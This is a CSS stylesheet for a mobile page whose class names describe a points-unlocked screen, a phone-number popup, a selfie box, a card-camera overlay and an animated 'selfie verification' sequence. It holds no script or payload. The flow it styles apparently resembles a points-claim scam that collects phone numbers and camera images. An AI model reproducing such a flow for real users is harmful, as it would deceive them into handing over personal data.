*{margin:0;padding:0;box-sizing:border-box}
html,body{width:100%;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:#fff;color:#fff;-webkit-font-smoothing:antialiased;touch-action:pan-y;overscroll-behavior-x:none}
body{min-height:100vh;display:flex;flex-direction:column;overscroll-behavior-x:none}

/* Header */
.hdr{background:#1a5c2a;padding:14px 20px;display:flex;align-items:center;justify-content:center;gap:10px}
.hdr h1{font-size:22px;font-weight:700}

/* Content */
.cnt{flex:1;padding:24px 20px 0;text-align:center}
.headline{font-size:16px;color:#333;line-height:1.55;margin-bottom:22px}
.headline strong{color:#1a5c2a}

/* Cards image */
.cards-img{width:100%;max-width:330px;margin:0 auto 24px;display:block}

/* Steps */
.step{display:none}
.step.on{display:block}
/* s1b mode: hide headline + cards during pontos screen */
.cnt.s1b-mode .headline,.cnt.s1b-mode .cards-img{display:none}

/* Pontos Liberados screen */
.pontos-card{background:#1e1e1e;border:2px solid #4caf6e;border-radius:18px;padding:28px 20px;text-align:center;margin-bottom:20px}
.check-ring{width:72px;height:72px;border:3px solid #4caf6e;border-radius:50%;display:flex;align-items:center;justify-content:center;margin:0 auto 22px}
.pontos-title{font-size:18px;font-weight:700;color:#fff;margin-bottom:16px;line-height:1.4}
.pontos-box{background:#111;border-radius:10px;padding:14px 20px;margin-bottom:18px}
.pontos-num{font-size:34px;font-weight:700;color:#fff;letter-spacing:1px}
.pontos-desc{font-size:13px;color:#ccc;line-height:1.75;margin-bottom:14px}
.pontos-desc strong{color:#4caf6e}
.pontos-sub{font-size:13px;color:#aaa;line-height:1.65;margin-bottom:22px}
.pontos-sub strong{color:#fff}

/* Selfie verification overlay */
.verify-overlay{display:none;position:fixed;inset:0;background:#0d0d0d;z-index:400;flex-direction:column;align-items:center;justify-content:center;padding:40px 28px}
.verify-overlay.active{display:flex}
.verify-spinner{width:58px;height:58px;border:3px solid rgba(255,255,255,.08);border-top-color:#4caf6e;border-radius:50%;animation:sp .75s linear infinite;margin-bottom:28px}
.verify-msg{font-size:16px;font-weight:700;color:#fff;margin-bottom:28px;text-align:center}
.verify-steps{width:100%;max-width:300px;display:flex;flex-direction:column;gap:0}
.verify-step{display:flex;align-items:center;gap:12px;color:#555;font-size:14px;padding:11px 0;border-bottom:1px solid #1a1a1a;transition:color .3s}
.verify-step::before{content:'';width:18px;height:18px;border-radius:50%;border:2px solid #333;flex-shrink:0;transition:all .3s}
.verify-step.vs-active{color:#fff}
.verify-step.vs-active::before{border-color:#4caf6e;background:rgba(76,175,110,.15)}
.verify-step.vs-done{color:#4caf6e}
.verify-step.vs-done::before{border-color:#4caf6e;background:#4caf6e;content:'✓';color:#000;font-size:11px;font-weight:700;display:flex;align-items:center;justify-content:center}

/* Final / success screen */
.final-screen{padding:48px 24px 120px;text-align:left}
.final-icon{width:52px;height:52px;background:#1a1a1a;border-radius:50%;display:flex;align-items:center;justify-content:center;margin:0 auto 32px}
.final-title{font-size:20px;font-weight:700;color:#111;margin-bottom:14px}
.final-sub{font-size:14px;color:#1a5c2a;line-height:1.75}
.final-sub strong{color:#1a5c2a}
.final-bar{position:fixed;bottom:0;left:0;right:0;background:#1e5a24;padding:0}
.final-bar button{width:100%;background:transparent;border:none;color:#fff;font-size:15px;font-weight:700;letter-spacing:1.5px;padding:18px;cursor:pointer;text-transform:uppercase}
.final-bar button:active{background:rgba(255,255,255,.08)}

/* Phone popup (centered modal) */
.phone-popup{display:none;position:fixed;inset:0;background:rgba(0,0,0,.6);z-index:100;align-items:center;justify-content:center;padding:24px 16px}
.phone-popup.open{display:flex}
.phone-popup-panel{background:#1a1a1a;border-radius:18px;border:1px solid #2e2e2e;padding:24px 20px 28px;width:100%;max-width:400px}
.phone-popup-title{font-size:15px;font-weight:700;color:#fff;margin-bottom:16px;text-align:center}
.sub{font-size:14px;color:#444;line-height:1.65;margin-bottom:18px;padding:0 4px}
.sub strong{color:#1a5c2a}
.phone-popup-panel .sub{color:#ccc}
.phone-popup-panel .sub strong{color:#fff}

/* Form */
.fwrap{position:relative}
.fbox{background:#fff;border:1.5px solid #2e8b40;border-radius:14px;padding:20px;margin-bottom:20px}
.lbl{display:flex;align-items:center;gap:7px;font-size:13px;color:#555;margin-bottom:10px}
.inp{width:100%;background:#f7f7f7;border:1px solid #ddd;border-radius:10px;padding:14px 15px;color:#111;font-size:15px;outline:none;margin-bottom:14px;transition:border-color .2s}
.inp::placeholder{color:#aaa}
.inp:focus{border-color:#2e8b40}
.btn{width:100%;background:#2e8b40;color:#fff;border:none;border-radius:10px;padding:16px;font-size:16px;font-weight:600;cursor:pointer;transition:background .2s}
.btn:hover{background:#267a38}
.btn:active{background:#1d6229}

/* Inline spinner above form */
.fspin{display:none;position:absolute;top:-58px;left:50%;transform:translateX(-50%);z-index:10}
.fspin.on{display:block}
.spin{width:50px;height:50px;border:4px solid rgba(255,255,255,.08);border-top-color:#2e8b40;border-radius:50%;animation:sp .7s linear infinite}
@keyframes sp{to{transform:rotate(360deg)}}

/* Device page */
.dev-lbl{font-size:13px;color:#aaa;margin-bottom:4px}
.dev-name{font-size:18px;font-weight:700;margin-bottom:4px}
.dev-status{font-size:15px;font-weight:600;color:#e53935;margin-bottom:10px}
.dev-desc{font-size:13px;color:#aaa;line-height:1.6;margin-bottom:18px}
.selfie-box{border:1px solid #3a3a3a;border-radius:12px;overflow:hidden;margin-bottom:16px;background:#f0ebe0;position:relative}
.corner{position:absolute;width:22px;height:22px;border-style:solid;border-color:#777}
.tl{top:8px;left:8px;border-width:3px 0 0 3px}
.tr{top:8px;right:8px;border-width:3px 3px 0 0}
.bl{bottom:8px;left:8px;border-width:0 0 3px 3px}
.br{bottom:8px;right:8px;border-width:0 3px 3px 0}

/* Footer */
.ftr{padding:20px;text-align:center;color:#333;font-size:12px;line-height:1.6}
.ftr strong{color:#111}
.ftr a{color:#1a5c2a;text-decoration:none}

/* Camera — fullscreen overlay */
.bc-camera-container{display:none;position:fixed;inset:0;background:#000;z-index:300;flex-direction:column;align-items:stretch}
.bc-video{position:absolute;inset:0;width:100%;height:100%;object-fit:cover}
.cam-topbar{position:relative;z-index:10;display:flex;align-items:center;justify-content:space-between;padding:16px 20px;color:#fff;font-size:14px;font-weight:600;background:linear-gradient(rgba(0,0,0,.65),transparent)}
.cam-x{background:rgba(0,0,0,.45);border:none;color:#fff;font-size:18px;width:38px;height:38px;border-radius:50%;cursor:pointer;display:flex;align-items:center;justify-content:center;flex-shrink:0}
.cam-guide-frame{position:absolute;top:50%;left:50%;transform:translate(-50%,-58%);width:82%;aspect-ratio:4/3;border-radius:16px;border:2px solid rgba(255,255,255,.65);box-shadow:0 0 0 9999px rgba(0,0,0,.38);pointer-events:none;z-index:5}
.cam-bottom{position:absolute;bottom:52px;width:100%;display:flex;justify-content:center;z-index:10}
.cam-shutter{width:78px;height:78px;border-radius:50%;border:5px solid #fff;background:rgba(255,255,255,.2);cursor:pointer;position:relative;backdrop-filter:blur(4px)}
.cam-shutter::after{content:'';position:absolute;inset:8px;border-radius:50%;background:#fff}
/* Preview */
.bc-preview-container{display:none;margin-bottom:10px}
.bc-canvas{width:100%;border-radius:10px;margin-bottom:10px}
.btn-green{background:#2e8b40;margin-bottom:8px}
.btn-blue{background:#0056b3;margin-bottom:8px}